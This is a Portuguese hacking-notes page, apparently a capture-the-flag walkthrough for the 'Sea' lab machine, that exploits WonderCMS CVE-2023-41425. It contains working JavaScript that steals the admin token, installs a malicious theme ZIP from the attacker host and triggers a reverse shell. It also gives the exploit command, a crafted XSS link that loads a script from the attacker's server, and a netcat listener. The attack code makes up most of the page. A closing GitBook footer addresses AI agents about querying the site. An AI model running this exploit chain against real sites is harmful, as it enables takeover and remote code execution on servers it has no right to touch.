> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/wonder-cms-exploitation.md).

# Wonder

## Maravilha da vulnerabilidade /\[CVE-2023-41425]

Pesquisar vulnerabilidades de CMS revela um problema de XSS para RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obter um shell:**/ O JavaScript a seguir baixa um arquivo ZIP malicioso contendo um script de shell reversa e o executa no servidor:

```javascript
// o servidor tem algum problema para resolver nome de domínio com JavaScript
// podemos simplesmente fornecer a URL alvo como parâmetro obrigatório
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modificar o caminho do arquivo ZIP servido no servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visitar rev.php dentro do arquivo ZIP enviado
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // acionar o script de shell reversa e fornecer o IP e a porta do listener
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalando o script de exploração para CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Execute o script de exploração:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

O script envia uma solicitação ao servidor do atacante na porta 8000 por meio de `xss.js`, fornecendo RCE e controle do alvo.

<figure><img src="/files/bae9a90f80b74b8affabf9bbfb1b86eaa9e9cd7d" alt=""><figcaption></figcaption></figure>

**Passo final:**

Envie o link de XSS para o administrador por meio do `contact.php` formulário para acionar o link malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?\"></form><script+src=\"http://10.10.14.89:8000/xss.js\"></script><form+action=\"
```

{% endcode %}

<figure><img src="/files/fb693308de2073b2d0004effbc919f6e91212ac0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3188d46faa4705e139f416ffabce9d29841257ea" alt=""><figcaption></figcaption></figure>

**Configure um listener do Netcat:**/ Inicie um listener na porta 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/491a680aff3da7ad5f4937d72a16e661ab4abb83" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/wonder-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.